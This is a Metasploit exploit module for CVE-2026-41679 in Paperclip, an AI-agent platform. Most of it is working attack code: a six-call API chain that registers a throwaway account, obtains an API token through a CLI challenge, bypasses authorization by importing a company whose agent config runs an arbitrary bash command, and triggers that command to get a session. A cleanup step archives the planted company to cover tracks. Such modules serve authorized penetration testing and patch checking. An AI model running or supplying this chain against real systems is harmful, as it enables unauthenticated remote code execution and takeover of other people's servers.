##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Paperclip AI RCE using a chain of six API calls (CVE-2026-41679).',
        'Description' => %q{
          Paperclip is the operating system for your AI company.
          You set the goals, hire AI agents as employees, and watch them plan and execute work.
          Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE, tracked as CVE-2026-41679.
          An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip
          instance running in authenticated mode with default configuration. The entire chain is six API calls.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
          'Sagilayani https://github.com/sagilayani' # Discovery
        ],
        'References' => [
          ['CVE', '2026-41679'],
          ['GHSA', 'GHSA-68qg-g8mg-6pr7'],
          ['URL', 'https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679']
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux', 'osx'],
        'Privileged' => false,
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux', 'osx'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => {
                'Encoder' => 'cmd/base64',
                'BadChars' => "\x20" # no space
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2026-04-10',
        'DefaultOptions' => {
          'SSL' => false,
          'RPORT' => 3100
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the Paperclip instance', '/'])
    ])
  end

  # Check if Paperclip instance is running and get the Paperclip version if published
  # return version number or 'N/A' (NOT AVAILABLE) else nil
  def get_paperclip_version
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'health')
    })
    return unless res&.code == 200 && res.body.include?('status') && res.body.include?('deploymentMode')

    # check for version
    if res.body.include?('version')
      res_json = res.get_json_document
      res_json['version'] unless res_json.blank?
    else
      'N/A'
    end
  end

  # CVE-2026-41679: Unauthenticated command injection leading to RCE via a chain of six API calls
  def execute_payload(cmd, _opts = {})
    # randomize email address, name and password to be used in POST requests
    email = Rex::Text.rand_mail_address
    email_array = email.split('@')
    name = email_array[0].split('.')[0]
    password = Rex::Text.rand_text_alphanumeric(12..20)

    # 1. sign-up and register with a new user and password
    vprint_status('Step 1: sign-up and register a new user.')
    vprint_good("user => #{email}, password => #{password}")
    post_data = {
      email: email.to_s,
      password: password.to_s,
      name: name.to_s
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-up', 'email'),
      'ctype' => 'application/json',
      'data' => post_data.to_s
    })
    unless res&.code == 200 && res.body.include?('createdAt')
      print_error('Step 1 failed: sign-up and register a new user.')
      return
    end

    # 2. Sign in with registered e-mail and password and get session cookie from the Set-Cookie header.
    vprint_status('Step 2: sign-in with the new user credentials and get a session-cookie.')
    post_data = {
      email: email.to_s,
      password: password.to_s
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-in', 'email'),
      'ctype' => 'application/json',
      'data' => post_data.to_s
    })
    unless res&.code == 200 && res.get_cookies && res.body.include?('token')
      print_error('Step 2 failed: sign-in with new user credentials.')
      return
    end

    cookie = res.get_cookies
    vprint_good("cookie => #{cookie}")

    # 3. create a CLI challenge and grab the id, token and boardApiToken
    vprint_status('Step 3: create a CLI challenge and get an API token.')
    command = Rex::Text.rand_text_alpha(6..8)
    post_data = {
      command: command.to_s
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges'),
      'ctype' => 'application/json',
      'data' => post_data.to_s
    })
    unless res&.code == 201 && res.body.include?('token') && res.body.include?('boardApiToken') && res.body.include?('id')
      print_error('Step 3 failed: create CLI challenge and get an API token.')
      return
    end

    res_json = res.get_json_document
    return if res_json.blank?

    id = res_json['id']
    token = res_json['token']
    @board_api_token = res_json['boardApiToken']
    vprint_good("API token => #{@board_api_token}")

    # 4. Approve in your own session using the token, id and session cookie
    # We will need to add the Origin header for next API calls otherwise they will fail
    vprint_status('Step 4: approve the challenge in your session.')

    @origin = "#{datastore['ssl'] ? 'https' : 'http'}://#{datastore['rhost']}:#{datastore['rport']}"
    post_data = {
      token: token.to_s
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges', id.to_s, 'approve'),
      'headers' => {
        'Origin' => @origin
      },
      'cookie' => cookie.to_s,
      'ctype' => 'application/json',
      'data' => post_data.to_s
    })
    unless res&.code == 200 && !res.body.include?('error')
      print_error('Step 4 failed: approve the challenge in your session.')
      return
    end

    # 5. Create a company and deploy an agent via import (authorization bypass)
    # This will configure the payload that will be executed by the process agent
    vprint_status('Step 5: create a company and deploy an agent with payload via import (authorization bypass).')
    vprint_good("payload => #{cmd}")
    post_data = {
      source: {
        type: 'inline',
        files: {
          'COMPANY.md': "---\nname: MI6\nslug: MI6\n---\nx",
          'agents/007/AGENTS.md': "---\nkind: agent\nname: 007\nslug: 007\nrole: engineer\n---\nx",
          '.paperclip.yaml': "agents:\n  007:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - #{cmd}"
        }
      },
      target: { mode: 'new_company', newCompanyName: 'MI6' },
      include: { company: true, agents: true },
      agents: 'all'
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'companies', 'import'),
      'headers' => {
        'Authorization' => "Bearer #{@board_api_token}",
        'Origin' => @origin
      },
      'ctype' => 'application/json',
      'data' => post_data.to_s
    })
    unless res&.code == 200 && res.body.include?('id')
      print_error('Step 5 failed: create a company and deploy an agent with payload via import.')
      return
    end

    res_json = res.get_json_document
    return if res_json.blank?

    agent = res_json['agents']&.first
    agent_id = agent&.dig('id')
    @company_id = res_json['company']['id']
    vprint_good("company_id => #{@company_id}, agent_id => #{agent_id}")

    # 6. Run the agent and trigger the payload
    vprint_status('Step 6: run the agent and trigger the payload. You should get a session now ;-).')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'agents', agent_id.to_s, 'wakeup'),
      'headers' => {
        'Authorization' => "Bearer #{@board_api_token}",
        'Origin' => @origin
      },
      'ctype' => 'application/json',
      'data' => nil
    })
    unless res&.code == 202
      print_error('Step 6 failed: run the agent and trigger the payload.')
    end
  end

  # try to archive the company and agent payload to cover our tracks
  def cleanup
    super
    # check if payload should be cleaned
    unless @company_id.nil?
      vprint_status('Cleaning up the mess...')
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api', 'companies', @company_id.to_s, 'archive'),
        'headers' => {
          'Authorization' => "Bearer #{@board_api_token}",
          'Origin' => @origin
        },
        'ctype' => 'application/json'
      })
      if res&.code == 200 && res.body.include?('archived')
        print_good('Company and agent payload has been successfully archived.')
      else
        print_warning('Company and agent payload not archived. Try to remove it manually.')
      end
    end
  end

  def check
    version = get_paperclip_version
    return CheckCode::Safe('Can not find a Paperclip instance running.') if version.nil?
    return CheckCode::Detected('No Paperclip version found.') if version == 'N/A'

    version = Rex::Version.new(version)
    if version >= Rex::Version.new('2026.410.0')
      return CheckCode::Safe("Paperclip version #{version}")
    end

    CheckCode::Appears("Paperclip version #{version}")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_payload(payload.encoded)
  end
end